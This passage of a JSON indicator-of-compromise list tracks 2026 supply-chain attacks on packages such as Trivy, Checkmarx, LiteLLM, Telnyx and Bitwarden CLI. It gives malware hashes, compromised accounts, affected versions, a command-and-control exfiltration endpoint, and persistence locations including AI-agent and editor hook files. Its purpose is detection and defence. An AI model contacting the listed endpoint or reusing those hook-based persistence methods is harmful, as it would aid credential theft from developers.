"3ddb8967919a801b3c383e58cddceab21138134c6a26560d99e2672e86f36f2a",
"type": "sha256", "note":
"checkmarx-ast-scanner-2026.5.09.pom", "incident":
"checkmarx-jenkins"},

     
{"value": "85487e68fc46fe3faec2617ac4f2ee5d",
"type": "md5", "note":
"checkmarx-ast-scanner.hpi v2026.5.09 (malicious)",
"incident": "checkmarx-jenkins"},

     
{"value": "1ac56ecda9a255c23eabd70c276905a0",
"type": "md5", "note":
"checkmarx-ast-scanner.jar (injected)", "incident":
"checkmarx-jenkins"},

     
{"value": "9f9f83795fc162b7e44bc6859fc80535",
"type": "md5", "note": "cli.js credential
stealer", "incident": "checkmarx-jenkins"},

     
{"value": "HeyEveryoneCheckmarxIsNotGonnaMakeIt",
"type": "string", "note": "Commit message
prefix for exfiltration", "incident": "checkmarx-jenkins"},

     
{"value": "/tmp/tmp.checkmarx_tracker.lock",
"type": "filepath", "note": "Lock file
(active infection indicator)", "incident": "checkmarx-jenkins"},

     
{"value": "~/hugs_from_teamPCP.txt",
"type": "filepath", "note": "Goodbye message
written on exception", "incident": "checkmarx-jenkins"}

    ],

   
"telnyx_packages": [

     
{"value":
"7321caa303fe96ded0492c747d2f353c4f7d17185656fe292ab0a59e2bd0b8d9",
"note": "telnyx-4.87.1.whl", "source":
"Hexastrike", "incident": "telnyx"},

     
{"value":
"f66c1ea3b25ec95d0c6a07be92c761551e543a7b256f9c78a2ff781c77df7093",
"note": "telnyx-4.87.1.tar.gz", "source":
"Hexastrike", "incident": "telnyx"},

     
{"value":
"cd08115806662469bbedec4b03f8427b97c8a4b3bc1442dc18b72b4e19395fe3",
"note": "telnyx-4.87.2.whl", "source":
"Hexastrike", "incident": "telnyx"},

     
{"value":
"a9235c0eb74a8e92e5a0150e055ee9dcdc6252a07785b6677a9ca831157833a5",
"note": "telnyx-4.87.2.tar.gz", "source":
"Hexastrike", "incident": "telnyx"}

    ],

   
"telnyx_malware": [

     
{"value":
"23b1ec58649170650110ecad96e5a9490d98146e105226a16d898fbe108139e5",
"note": "_client.py v4.87.1", "source":
"Hexastrike", "incident": "telnyx"},

     
{"value":
"ab4c4aebb52027bf3d2f6b2dcef593a1a2cff415774ea4711f7d6e0aa1451d4e",
"note": "_client.py v4.87.2", "source":
"Hexastrike", "incident": "telnyx"},

     
{"value":
"84edce66f09c55bbb44754411bde4b092288d172734df62fac20d6f794b3a2ec",
"note": "Linux Stage 2 loader (base64 decoded)",
"source": "Hexastrike", "incident":
"telnyx"},

     
{"value":
"5ce544a8db5d0b0953c966384858e4e8a017e7acba2f5f6d0ac8f529d59939d8",
"note": "Stage 3 credential harvester", "source":
"Hexastrike", "incident": "telnyx"},

     
{"value":
"196b5e0e06424a02e360e28e08d7dcfab7ec8946af9477ca352c6cf6b7d4e9bd",
"note": "Inner PE RAT (extracted)", "source":
"Hexastrike", "incident": "telnyx"},

     
{"value":
"e6912e3ec58120bf63edf2e4be6ff2f092c40cfbc655a12f4a463b2ef98d368e",
"note": "Embedded PNG steganography", "source":
"Hexastrike", "incident": "telnyx"},

     
{"value":
"e4e3b176c1255666024d90392e09466a23bf6e8740bf589c6d1ccf2dfff451a4",
"note": "Reflective PE loader shellcode",
"source": "Hexastrike", "incident":
"telnyx"}

    ],

   
"canisterworm_malware": [

     
{"value":
"e9b1e069efc778c1e77fb3f5fcc3bd3580bbc810604cbf4347897ddb4b8c163b",
"note": "index.js variant", "incident":
"canisterworm"},

     
{"value":
"61ff00a81b19624adaad425b9129ba2f312f4ab76fb5ddc2c628a5037d31a4ba",
"note": "index.js variant", "incident":
"canisterworm"},

     
{"value":
"0c0d206d5e68c0cf64d57ffa8bc5b1dad54f2dda52f24e96e02e237498cb9c3a",
"note": "index.js variant", "incident":
"canisterworm"},

     
{"value":
"c37c0ae9641d2e5329fcdee847a756bf1140fdb7f0b7c78a40fdc39055e7d926",
"note": "index.js variant", "incident":
"canisterworm"},

     
{"value":
"f398f06eefcd3558c38820a397e3193856e4e6e7c67f81ecc8e533275284b152",
"note": "deploy.js variant", "incident":
"canisterworm"},

     
{"value":
"7df6cef7ab9aae2ea08f2f872f6456b5d51d896ddda907a238cd6668ccdc4bb7",
"note": "deploy.js variant", "incident":
"canisterworm"},

     
{"value":
"5e2ba7c4c53fa6e0cef58011acdd50682cf83fb7b989712d2fcf1b5173bad956",
"note": "deploy.js variant", "incident":
"canisterworm"}

    ],

   
"staging_server_malware": [

     
{"value":
"81eda518ff6ebb25e6aa8d626b78cd2eb6cb38b5d7efb34e021289e76993414b",
"note": "MidwestGrey.exe (Windows PE dropper)",
"source": "LloydLabs", "incident":
"attacker"},

     
{"value":
"ea47cebe2fbbf06c22b9bd9b9d72dd4fe64aed4e68675aa5e693312a773e09e9",
"note": "kfhogts (Python trojan bundle)",
"source": "LloydLabs", "incident":
"attacker"}

    ],

   
"windows_payload": [

     
{"value":
"7290353a3bc2b18e9ea574d3294b09e28edaa6b038285bb101cf09760f187dcd",
"note": "msbuild.exe (outer PE)", "source":
"HackingLZ", "incident": "telnyx"},

     
{"value":
"dafc1cc5d39bc303562d8587b698b6351e843b77c01764efa8b423a36b88fa6d",
"note": "file.dll (AdaptixC2 beacon)", "source":
"HackingLZ", "incident": "telnyx"},

     
{"value":
"7e270255567866d37ad56e3f06977b695e39530eede74a10a0848ba71560cb45",
"note": "embedded PNG (stego)", "source":
"HackingLZ", "incident": "telnyx"},

     
{"value":
"b92bd082bbd7d238089b2bb87d9cbf01be1bf8ab7213b67e9d27108e052ef75c",
"note": "shellcode (loader + DLL)", "source":
"HackingLZ", "incident": "telnyx"},

     
{"value":
"26b689749bc57991cbae2aab8ab6cf5acab6c64db4829ba2b1ced6c60d99a7a8",
"note": "reflective loader stub", "source":
"HackingLZ", "incident": "telnyx"}

    ],

   
"certificates": [

     
{"value":
"30015dd1e2cf4dbd49fff9ddef2ad4622da2e60e5c0b6228595325532e948f14",
"note": "Self-signed certificate", "source":
"Unit42", "incident": "attacker"},

     
{"value":
"41c4f2f37c0b257d1e20fe167f2098da9d2e0a939b09ed3f63bc4fe010f8365c",
"note": "Self-signed certificate", "source":
"Unit42", "incident": "attacker"},

     
{"value":
"d8caf4581c9f0000c7568d78fb7d2e595ab36134e2346297d78615942cbbd727",
"note": "Self-signed certificate", "source":
"Unit42", "incident": "attacker"}

    ],

   
"kics_docker_april": [

     
{"value":
"24680027afadea90c7c713821e214b15cb6c922e67ac01109fb1edb3ee4741d9",
"note": "mcpAddon.js", "source":
"Socket", "incident": "kics-docker"},

     
{"value":
"2a6a35f06118ff7d61bfd36a5788557b695095e7c9a609b4a01956883f146f50",
"note": "kics ELF binary", "source":
"Socket", "incident": "kics-docker"}

    ],

   
"kics_docker_digests": [

     
{"value":
"sha256:2588a44890263a8185bd5d9fadb6bc9220b60245dbcbc4da35e1b62a6f8c230d",
"note": "Alpine index manifest", "source":
"Docker", "incident": "kics-docker"},

     
{"value":
"sha256:222e6bfed0f3bb1937bf5e719a2342871ccd683ff1c0cb967c8e31ea58beaf7b",
"note": "Debian index manifest", "source":
"Docker", "incident": "kics-docker"},

     
{"value":
"sha256:a0d9366f6f0166dcbf92fcdc98e1a03d2e6210e8d7e8573f74d50849130651a0",
"note": "Latest index manifest", "source":
"Docker", "incident": "kics-docker"}

    ],

   
"bitwarden_cli": [

     
{"value":
"18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb",
"note": "bw1.js (11.7 MB payload)", "source":
"N3mes1s", "incident": "bitwarden"},

     
{"value":
"f35475829991b303c5efc2ee0f343dd38f8614e8b5e69db683923135f85cf60d",
"note": "bw_setup.js (loader)", "source":
"N3mes1s", "incident": "bitwarden"},

     
{"value":
"8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14",
"note": "second-stage payload", "source":
"JFrog", "incident": "bitwarden"},

     
{"value":
"167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad",
"note": "package.json root metadata", "source":
"JFrog", "incident": "bitwarden"}

    ],

   
"mini_shai_hulud_dropper": [

     
{"value":
"4066781fa830224c8bbcc3aa005a396657f9c8f9016f9a64ad44a9d7f5f45e34",
"note": "setup.mjs (shared dropper)", "source":
"Socket", "incident": "mini-shai-hulud"}

    ],

   
"mini_shai_hulud_sap": [

     
{"value":
"eb6eb4154b03ec73218727dc643d26f4e14dfda2438112926bb5daf37ae8bcdb",
"note": "execution.js (@cap-js/postgres)",
"source": "Socket", "incident":
"mini-shai-hulud"},

     
{"value":
"1d9e4ece8e13c8eaf94cb858470d1bd8f81bb58f62583552303774fa1579edee",
"note": "@cap-js/postgres-2.2.2.tgz", "source":
"Wiz", "incident": "mini-shai-hulud"},

     
{"value":
"6f933d00b7d05678eb43c90963a80b8947c4ae6830182f89df31da9f568fea95",
"note": "execution.js (@cap-js/sqlite)",
"source": "Aikido", "incident":
"mini-shai-hulud"},

     
{"value":
"a1da198bb4e883d077a0e13351bf2c3acdea10497152292e873d79d4f7420211",
"note": "@cap-js/sqlite-2.2.2.tgz", "source":
"Wiz", "incident": "mini-shai-hulud"},

     
{"value":
"258257560fe2f1c2cc3924eae40718c829085b52ae3436b4e46d2565f6996271",
"note": "@cap-js/db-service-2.10.1.tgz",
"source": "Wiz", "incident":
"mini-shai-hulud"},

     
{"value":
"80a3d2877813968ef847ae73b5eeeb70b9435254e74d7f07d8cf4057f0a710ac",
"note": "execution.js (mbt)", "source":
"Socket", "incident": "mini-shai-hulud"},

     
{"value":
"86282ebcd3bebf50f087f2c6b00c62caa667cdcb53558033d85acd39e3d88b41",
"note": "mbt-1.2.48.tgz", "source":
"Wiz", "incident": "mini-shai-hulud"},

     
{"value":
"29ac906c8bd801dfe1cb39596197df49f80fff2270b3e7fbab52278c24e4f1a7",
"note": "memory dumper (Runner.Worker)",
"source": "Aikido", "incident":
"mini-shai-hulud"}

    ],

   
"mini_shai_hulud_intercom": [

     
{"value":
"50212a875643520353df158196b9b3be4595094125ad8d2d2c48bdd9cb04ce1f",
"note": "router_runtime.js (intercom-php)",
"source": "Socket", "incident":
"mini-shai-hulud"},

     
{"value":
"832a976d1a8d54e296e8479aedbd89fa24baa02b8409a78bf06d4d03340881bd",
"note": "setup-intercom.sh", "source":
"Socket", "incident": "mini-shai-hulud"},

     
{"value":
"b084743bd16043461e68b604dde80a8b386b405eae6f66c1103fb4fd6831d4a7",
"note": "composerPlugin.php", "source":
"Socket", "incident": "mini-shai-hulud"},

     
{"value":
"66664a49edbcee0ed0d8365839707916e92d3aa06e7f26f33c9dcc58e5fc1ef3",
"note": "intercom-intercom-php-5.0.2.zip",
"source": "Socket", "incident":
"mini-shai-hulud"},

     
{"value":
"907aec5b1288057a3e0885226918b6930a62a0f348ce23de026a683238c7903e",
"note": "composer.json (intercom-php)", "source":
"Socket", "incident": "mini-shai-hulud"}

    ],

   
"mini_shai_hulud_lightning": [

     
{"value":
"5f5852b5f604369945118937b058e49064612ac69826e0adadca39a357dfb5b1",
"note": "router_runtime.js (lightning 2.6.2/2.6.3)",
"source": "Lightning.ai", "incident":
"mini-shai-hulud"},

     
{"value":
"8046a11187c135da6959862ff3846e99ad15462d2ec8a2f77a30ad53ebd5dcf2",
"note": "start.py (loader)", "source":
"Lightning.ai", "incident": "mini-shai-hulud"}

    ],

   
"mini_shai_hulud_persistence": [

     
{"value":
"14eb4ce01dd4307759887ff819359b70d7d9ff709ecde039a5abc1aac325b128",
"note": ".claude/settings.json (SessionStart hook)",
"source": "Wiz", "incident":
"mini-shai-hulud"},

     
{"value":
"927387d0cfac1118df4b383decc2ea6ba49c9d2f98b47098bcbcba1efc026e1f",
"note": ".vscode/tasks.json (folderOpen task)",
"source": "Wiz", "incident":
"mini-shai-hulud"}

    ],

   
"xinference_packages": [

     
{"value":
"9d5bf42dedbefee145b9b3704d26b54668fd856f990299ec64f6b45b18e3f0bf",
"note": "xinference-2.6.0-py3-none-any.whl",
"incident": "xinference"},

     
{"value":
"96938e023f9ab0e963201522729a77e826b7bf336b1e5c972be76f8438ea4c1b",
"note": "xinference-2.6.1-py3-none-any.whl",
"incident": "xinference"},

     
{"value":
"06c88b286610e397ad22b8453b75ebf1e7bfe3b22c558577e17c39f21ef78a9c",
"note": "xinference-2.6.2-py3-none-any.whl",
"incident": "xinference"}

    ],

   
"mini_shai_hulud_2_malware": [

     
{"value":
"ab4fcadaec49c03278063dd269ea5eef82d24f2124a8e15d7b90f2fa8601266c",
"note": "router_init.js (2,341,681 bytes)",
"incident": "mini-shai-hulud-2"},

     
{"value":
"2ec78d556d696e208927cc503d48e4b5eb56b31abc2870c2ed2e98d6be27fc96",
"note": "router_init.js (2,339,346 bytes)",
"incident": "mini-shai-hulud-2"},

     
{"value":
"2258284d65f63829bd67eaba01ef6f1ada2f593f9bbe41678b2df360bd90d3df",
"note": "setup.mjs (5,047 bytes)", "incident":
"mini-shai-hulud-2"},

     
{"value":
"7c12d8614c624c70d6dd6fc2ee289332474abaa38f70ebe2cdef064923ca3a9b",
"note": "@tanstack/setup malicious package",
"source": "Mistral", "incident":
"mini-shai-hulud-2"},

     
{"value":
"6dbaa43bf2f3c0d3cddbca74967e952da563fb974c1ef9d4ecbb2e58e41fe81b",
"note": "mistralai-2.4.6.tar.gz (malicious sdist)",
"source": "Mistral GHSA", "incident":
"mini-shai-hulud-2"}

    ],

   
"mini_shai_hulud_2_persistence": [

     
{"value": "src/mistralai/client/__init__.py",
"type": "filepath", "note": "PyPI injection
point", "incident": "mini-shai-hulud-2"},

     
{"value": "/tmp/transformers.pyz", "type":
"filepath", "note": "downloaded payload path",
"incident": "mini-shai-hulud-2"},

     
{"value": "MISTRAL_INIT=1", "type":
"envvar", "note": "execution guard",
"incident": "mini-shai-hulud-2"}

    ],

   
"cemu_releases": [

     
{"value":
"0f35abda19fb69430c32228465396094b866d887427bf551e353ab31256a9dd6",
"note": "Cemu v2.6 AppImage (malicious)",
"source": "Datadog", "incident":
"cemu"},

     
{"value":
"d07a29c4458d00e42d5d9e6345932592e91644d6b821bacdb7a543c628e0b41a",
"note": "Cemu v2.6 AppImage binary", "source":
"Datadog", "incident": "cemu"},

     
{"value":
"f140e76236b96adf7cdc796227af9808665143bc674debb77729fa3e4b8327cc",
"note": "Cemu v2.6 Ubuntu zip (malicious)",
"source": "Datadog", "incident":
"cemu"},

     
{"value":
"1bf72f05191d849049d4a38fced2277ac5cfc54b7ae591f564e7a14add7c886d",
"note": "startup.pyz (Ubuntu variant)", "source":
"Datadog", "incident": "cemu"}

    ],

   
"cemu_persistence": [

     
{"value": "/tmp/.transformers", "type":
"filepath", "note": "two-stage execution sentinel
file", "incident": "cemu"},

     
{"value": "83.142.209.194/v1/weights",
"type": "url", "note": "C2 exfil
endpoint", "incident": "cemu"},

     
{"value": "python_mistral_cemu_files/",
"type": "filepath", "note": "payload module
directory in startup.pyz", "incident": "cemu"}

    ],

   
"antv_vscode": [

     
{"value":
"1a4afce34918bdc74ae3f31edaffffaa0ee074d83618f53edfd88137927340b8",
"note": "[email protected] VSIX",
"source": "StepSecurity", "incident":
"antv"},

     
{"value":
"b0cefb66b953e5184b6adb3035e9e267335ac5eabfe1848e07834777b9397b74",
"note": "malicious main.js", "source":
"StepSecurity", "incident": "antv"},

     
{"value":
"e7347d90653efc565f03733a95e9209d78f9cfa81e31ff2b2dd9d48d75a4b8b1",
"note": "obfuscated payload (index.js)",
"source": "StepSecurity", "incident":
"antv"},

     
{"value":
"43f2b001846c4966073ebffa5be8f15e491a1e7d32bbd805d57406ff540e0dd9",
"note": "dropper package.json", "source":
"StepSecurity", "incident": "antv"},

     
{"value":
"228a2cf081d4cbea9b91cde14a8f9c4a4d003e7f32431496953fd6bac266f5a3",
"note": "clean v18.94.0 (reference)", "source":
"StepSecurity", "incident": "antv"},

     
{"value":
"cb86f4f223daa54467c7782a0d8607e9c84e2bb633e6f0e51d9a19579e200990",
"note": "remediated v18.100.0", "source":
"StepSecurity", "incident": "antv"}

    ],

   
"antv_backdoor": [

     
{"value":
"fb5c97557230a27460fdab01fafcfabeaa49590bafd5b6ef30501aa9e0a51142",
"note": "~/.local/share/kitty/cat.py (SHA-256)",
"source": "Wiz", "incident": "antv"},

     
{"value":
"783b4019fc5b942a29846132d28441c8fc31bed8", "type":
"sha1", "note": "~/.local/share/kitty/cat.py",
"source": "Wiz", "incident": "antv"},

     
{"value": "b06b126b9e26af03a7ef2f8b8e90d446",
"type": "md5", "note":
"~/.local/share/kitty/cat.py", "source": "Wiz",
"incident": "antv"}

    ],

   
"antv_npm_payload": [

     
{"value":
"a68dd1e6a6e35ec3771e1f94fe796f55dfe65a2b94560516ff4ac189390dfa1c",
"note": "index.js payload (486-498KB obfuscated Bun
bundle)", "source": "SafeDep", "incident":
"antv"}

    ],

   
"durabletask_packages": [

     
{"value":
"7d80b3ef74ad7992b93c31966962612e4e2ceb93e7727cdbd1d2a9af47d44ba8",
"note": "durabletask-1.4.1", "source":
"Wiz", "incident": "durabletask"},

     
{"value":
"aeaf583e20347bf850e2fabdcd6f4982996ba023f8c2cd56bbd299cfd56516f5",
"note": "durabletask-1.4.2", "source":
"Wiz", "incident": "durabletask"},

     
{"value":
"877ff2531a63393c4cb9c3c86908b62d9c4fc3db971bc231c48537faae6cb3ec",
"note": "durabletask-1.4.3", "source":
"Wiz", "incident": "durabletask"}

    ],

   
"durabletask_malware": [

     
{"value":
"069ac1dc7f7649b76bc72a11ac700f373804bfd81dab7e561157b703999f44ce",
"note": "rope.pyz payload", "source":
"Wiz", "incident": "durabletask"}

    ],

   
"miasma_packages": [

     
{"value":
"88896d478986d453f5da79b311de39d9b4b1bea95c21af1d8ef181b0f4e52fe9",
"note": "@redhat-cloud-services/[email protected] tarball",
"source": "Socket", "incident":
"miasma"}

    ],

   
"miasma_malware": [

     
{"value":
"21b6409a7b84446310daca5409ad6112ac60a1e4bef97736e53fff5f63bfdef4",
"note": "index.js (obfuscated loader)", "source":
"Socket", "incident": "miasma"},

     
{"value":
"0dc06ecdaa63fe24859cfd955053c23245c536e4733480239d14bebf12688e35",
"note": "decrypted main payload", "source":
"Socket", "incident": "miasma"}

    ],

   
"miasma_persistence": [

     
{"value": ".claude/settings.json", "type":
"filepath", "note": "SessionStart hook →
.github/setup.js", "source": "BoostSecurity", "incident":
"miasma"},

     
{"value": ".vscode/tasks.json", "type":
"filepath", "note": "runOn: folderOpen task",
"source": "BoostSecurity", "incident":
"miasma"},

     
{"value": ".github/setup.js", "type":
"filepath", "note": "4.2 MB offline loader (4,215,480
bytes)", "source": "BoostSecurity", "incident":
"miasma"}

    ],

   
"elementary_data_packages": [

     
{"value":
"d37874c6c8a2d2a7a252810a1999ece8bb39e9b3ab2b7e8bf40da15bd36a1584",
"note": "elementary.pth (46 KB loader)",
"source": "Trend Micro", "incident":
"elementary-data"},

     
{"value":
"83f9b178b520d3ad8b49bc9ea2b454eacf64fc302ec42aff6f90a1245af299e9",
"note": "elementary-data-0.23.3 variant",
"source": "OSV", "incident":
"elementary-data"},

     
{"value":
"96dc65f67f54411d3de6b23a33a8f73665e2703d7261b7f1720cdc089c528eea",
"note": "elementary-data-0.23.3 variant",
"source": "OSV", "incident":
"elementary-data"},

     
{"value":
"fcb538f8a937dd2e97532899be80827772aa99f0523c582aef301682d6e96b75",
"note": "elementary-data-0.23.3 variant",
"source": "OSV", "incident":
"elementary-data"},

     
{"value":
"cc802c0d8b918c99b39f26f473e8090b7073d45268b399df2e2ff5d5549c2a37",
"note": "elementary-data-0.23.3 variant",
"source": "OSV", "incident":
"elementary-data"},

     
{"value":
"0bf22f5de2169f2f614c12aaecf586fd7a203cff41f4b79583963a30660a7019",
"note": "elementary-data-0.23.3 variant",
"source": "OSV", "incident":
"elementary-data"}

    ],

   
"elementary_data_artifacts": [

     
{"value":
"b1e4b1f3aad0d489ab0e9208031c67402bbb8480", "type":
"sha1", "note": "forged orphan Git commit",
"source": "StepSecurity", "incident":
"elementary-data"},

     
{"value":
"sha256:31ecc5939de6d24cf60c50d4ca26cf7a8c322db82a8ce4bd122ebd89cf634255",
"type": "digest", "note":
"ghcr.io/elementary-data/elementary:0.23.3 (malicious)",
"source": "Trend Micro", "incident":
"elementary-data"}

    ]

  },

  "github":
{

   
"imposter_commits": [

     
{"value": "actions/checkout @ 70379aad",
"url":
"https://github.com/actions/checkout/commit/70379aad1a8b40919ce8b382d3cd7d0315cde1d0",
"note": "→ rauchg", "incident":
"trivy"},

     
{"value": "aquasecurity/trivy @ 1885610c",
"url":
"https://github.com/aquasecurity/trivy/commit/1885610c6a34811c8296416ae69f568002ef11ec",
"note": "→ DmitriyLewen", "incident":
"trivy"},

     
{"value": "aquasecurity/trivy-action @ ddb9da44",
"url":
"https://github.com/aquasecurity/trivy-action/commit/ddb9da4475c1cef7d5389062bdfdfbdbd1394648",
"incident": "trivy"}

    ],

   
"lateral_movement": [

     
{"value": "aquasecurity/tfsec @ a67fd5b5",
"url":
"https://github.com/aquasecurity/tfsec/commit/a67fd5b5b119",
"incident": "trivy"},

     
{"value": "aquasecurity/traceeshark @ 56591dfe",
"url":
"https://github.com/aquasecurity/traceeshark/commit/56591dfe113b",
"incident": "trivy"},

     
{"value": "aquasecurity/trivy-action @ 93ed4111",
"url":
"https://github.com/aquasecurity/trivy-action/commit/93ed41111017c3767fafc7d9cc8711f3be1a661f",
"incident": "trivy"},

     
{"value": "aquasecurity/setup-trivy @ 8afa9b9f",
"url":
"https://github.com/aquasecurity/setup-trivy/commit/8afa9b9f9183b4e00c46e2b82d34047e3c177bd0",
"note": "→ thara", "incident": "trivy"}

    ],

   
"checkmarx_actions": [

     
{"value": "Checkmarx/kics-github-action @ 121c38f",
"url":
"https://github.com/Checkmarx/kics-github-action/commit/121c38f",
"incident": "checkmarx"},

     
{"value": "Checkmarx/ast-github-action @ aa52a82c",
"url":
"https://github.com/Checkmarx/ast-github-action/commit/aa52a82cddf2fa5ad54a519a0a56fd430264dbbe",
"feedback": "Tunahan TEKEOĞLU", "incident":
"checkmarx"},

     
{"value": "Checkmarx/kics @ 22769adb",
"url":
"https://github.com/Checkmarx/kics/commit/22769adb159bb5954adea5074e9763e8376201b3",
"note": "Gato-X secrets exfil workflow",
"incident": "kics-docker"},

     
{"value": "Checkmarx/ast-github-action PR#307",
"url":
"https://github.com/Checkmarx/ast-github-action/pull/307",
"note": "curl audit.checkmarx.cx pipe injection",
"incident": "kics-docker"}

    ],

   
"litellm_exfil": [

     
{"value": "BerriAI/litellm @ fcaa823d",
"url":
"https://github.com/BerriAI/litellm/commit/fcaa823de07878d0d98e97f6f5552c0e2ac00d2f",
"note": "test.yml", "incident":
"litellm"},

     
{"value": "BerriAI/litellm-skills @ 81c851cc",
"url":
"https://github.com/BerriAI/litellm-skills/commit/81c851cc00313c44effd421712523f294b18391e",
"note": "test.yml", "incident":
"litellm"}

    ],

   
"tanstack_attack": [

     
{"value": "zblgg/configuration", "url":
"https://github.com/zblgg/configuration", "note":
"renamed fork of TanStack/router", "incident": "mini-shai-hulud-2"},

     
{"value":
"79ac49eedf774dd4b0cfa308722bc463cfe5885c", "note":
"malicious commit hash", "incident":
"mini-shai-hulud-2"}

    ],

   
"compromised_accounts": [

     
{"value": "aqua-bot", "note": "ID:
54269356 — Trivy", "incident": "trivy"},

     
{"value": "Argon-DevOps-Mgt", "note":
"ID: 139343333 — aquasec-com defacement", "incident":
"trivy"},

     
{"value": "cx-plugins-releases", "note":
"ID: 225848595 — KICS", "incident": "checkmarx"},

     
{"value": "octocommit", "note": "ID:
266895321 — f.k.a. DarkSeek3r, renamed Mar 10", "incident":
"trivy"},

     
{"value": "ast-phoenix", "note":
"OpenVSX publisher", "incident": "checkmarx"},

     
{"value": "aDrupont4191", "note":
"Bitwarden CLI attack — deleted", "incident":
"bitwarden"},

     
{"value": "XprobeBot", "note": "PyPI
bot account — xinference (disputed)", "incident":
"xinference"},

     
{"value": "zblgg", "note": "ID:
127806521 — TanStack attack fork account", "incident":
"mini-shai-hulud-2"},

     
{"value": "voicproducoes", "note":
"ID: 269549300 — supply chain operator", "source":
"Hunt.io", "incident": "mini-shai-hulud-2"},

     
{"value": "atool", "note": "npm
maintainer account — AntV", "incident": "antv"},

     
{"value": "realtungtungtungsahur", "note":
"created Apr 22 — elementary-data script injection",
"incident": "elementary-data"}

    ],

   
"antv_imposter_commits": [

     
{"value": "antvis/G2 @
1916faa365f2788b6e193514872d51a242876569", "url":
"https://github.com/antvis/G2/commit/1916faa365f2788b6e193514872d51a242876569",
"note": "orphan commit (626 versions)",
"incident": "antv"},

     
{"value": "antvis/G2 @
7cb42f57561c321ecb09b4552802ae0ac55b3a7a", "url":
"https://github.com/antvis/G2/commit/7cb42f57561c321ecb09b4552802ae0ac55b3a7a",
"note": "orphan commit (2 versions)", "incident":
"antv"},

     
{"value": "antvis/G2 @
dc3d62a2181beb9f326952a2d212900c94f2e13d", "url":
"https://github.com/antvis/G2/commit/dc3d62a2181beb9f326952a2d212900c94f2e13d",
"note": "orphan commit (1 version, garbage-collected)",
"incident": "antv"}

    ],

   
"antv_vscode_commits": [

     
{"value":
"558b09d7ad0d1660e2a0fb8a06da81a6f42e06d2", "note":
"Nx Console orphan commit", "incident": "antv"},

     
{"value":
"ba642fe2c7c65e42dd7f6444b83023dc6827e08c", "note":
"commit tree", "incident": "antv"},

     
{"value":
"acfc3f957a63b4cde93ff645f2b6bf26a8ed1bbf", "note":
"index.js blob", "incident": "antv"},

     
{"value":
"9d88f040c44b5f4d5f9db15ff89310776c168e99", "note":
"package.json blob", "incident": "antv"}

    ],

   
"antv_actions": [

     
{"value": "actions-cool/issues-helper",
"note": "53 tags compromised (19:10:24-19:13:40 UTC)",
"incident": "antv"},

     
{"value": "actions-cool/maintain-one-comment",
"note": "15 tags compromised (19:30:30-19:31:09 UTC)",
"incident": "antv"},

     
{"value":
"1c9e803c80cc7fed000022d4c94f4b5bc2e90062", "note":
"issues-helper v3.8.0 malicious commit", "incident":
"antv"},

     
{"value":
"f0448c62fc57b8a5ce23d8acd6e795cdd76a3b6c", "note":
"issues-helper v3.7.6 malicious commit", "incident":
"antv"},

     
{"value":
"b9c83f01929e190cda300e76f688bf7ea7e37a7a", "note":
"issues-helper v3.0.0 malicious commit", "incident":
"antv"}

    ],

   
"container_images": [

     
{"value": "ghcr.io/aquasecurity/trivy:0.69.4",
"note": "~3hr exposure", "incident":
"trivy"},

     
{"value": "docker.io/aquasec/trivy:0.69.4",
"note": "~3hr exposure", "incident":
"trivy"},

     
{"value":
"public.ecr.aws/aquasecurity/trivy:0.69.4", "note":
"~3hr exposure", "incident": "trivy"},

     
{"value": "docker.io/aquasec/trivy:0.69.5",
"note": "Mar 22", "incident": "trivy"},

     
{"value":
"sha256:f69a8a4180c43fc427532ddde34a256acbd041a0a07844cf7e4d3e0434e5bcd1",
"note": "aquasec/trivy:0.69.5 image digest",
"incident": "trivy"},

     
{"value": "docker.io/aquasec/trivy:0.69.6",
"note": "Mar 22", "incident": "trivy"},

     
{"value":
"sha256:dd8beb3b40df080b3fd7f9a0f5a1b02f3692f65c68980f46da8328ce8bb788ef",
"note": "aquasec/trivy:0.69.6 image digest",
"incident": "trivy"},

     
{"value": "docker.io/checkmarx/kics:latest",
"note": "Apr 22 ~1.5hr exposure", "incident":
"kics-docker"},

     
{"value": "docker.io/checkmarx/kics:v2.1.20",
"note": "Apr 22 overwritten", "incident":
"kics-docker"},

     
{"value": "docker.io/checkmarx/kics:v2.1.21",
"note": "Apr 22 new malicious tag", "incident":
"kics-docker"},

     
{"value": "docker.io/checkmarx/kics:alpine",
"note": "Apr 22 overwritten", "incident":
"kics-docker"},

     
{"value": "docker.io/checkmarx/kics:debian",
"note": "Apr 22 overwritten", "incident":
"kics-docker"},

     
{"value":
"ghcr.io/elementary-data/elementary:0.23.3", "note":
"Apr 24 ~11.5hr exposure", "incident":
"elementary-data"}

    ],

   
"pypi_packages": [

     
{"value": "litellm==1.82.7", "note":
"quarantined", "incident": "litellm"},

     
{"value": "litellm==1.82.8", "note":
"quarantined", "incident": "litellm"},

     
{"value": "telnyx==4.87.1", "note":
"malicious (Win bug)", "incident": "telnyx"},

     
{"value": "telnyx==4.87.2", "note":
"malicious", "incident": "telnyx"},

     
{"value": "xinference==2.6.0", "note":
"disputed TeamPCP attribution", "incident":
"xinference"},

     
{"value": "xinference==2.6.1", "note":
"disputed TeamPCP attribution", "incident":
"xinference"},

     
{"value": "xinference==2.6.2", "note":
"disputed TeamPCP attribution", "incident":
"xinference"},

     
{"value": "lightning==2.6.2", "note":
"PyTorch Lightning", "incident":
"mini-shai-hulud"},

     
{"value": "lightning==2.6.3", "note":
"PyTorch Lightning", "incident":
"mini-shai-hulud"},

     
{"value": "guardrails-ai==0.10.1", "note":
"Guardrails AI", "incident":
["mini-shai-hulud-2", "durabletask"]},

     
{"value": "durabletask==1.4.1", "note":
"Microsoft DurableTask SDK", "incident":
"durabletask"},

     
{"value": "durabletask==1.4.2", "note":
"Microsoft DurableTask SDK", "incident":
"durabletask"},

     
{"value": "durabletask==1.4.3", "note":
"Microsoft DurableTask SDK", "incident":
"durabletask"},

     
{"value": "mistralai==2.4.6", "note":
"Mistral AI Python client", "incident":
"mini-shai-hulud-2"},

     
{"value": "elementary-data==0.23.3",
"note": "~1.1M monthly downloads, ~11.5hr exposure",
"incident": "elementary-data"}

    ],

   
"npm_packages": [

     
{"value": "@EmilGroup/*", "note": "28
packages compromised", "incident": "canisterworm"},

     
{"value": "@opengov/*", "note": "16
packages compromised", "incident": "canisterworm"},

     
{"value": "@teale.io/[email protected]",
"note": "self-propagating variant", "incident":
"canisterworm"},

     
{"value": "@teale.io/[email protected]",
"note": "self-propagating variant", "incident":
"canisterworm"},

     
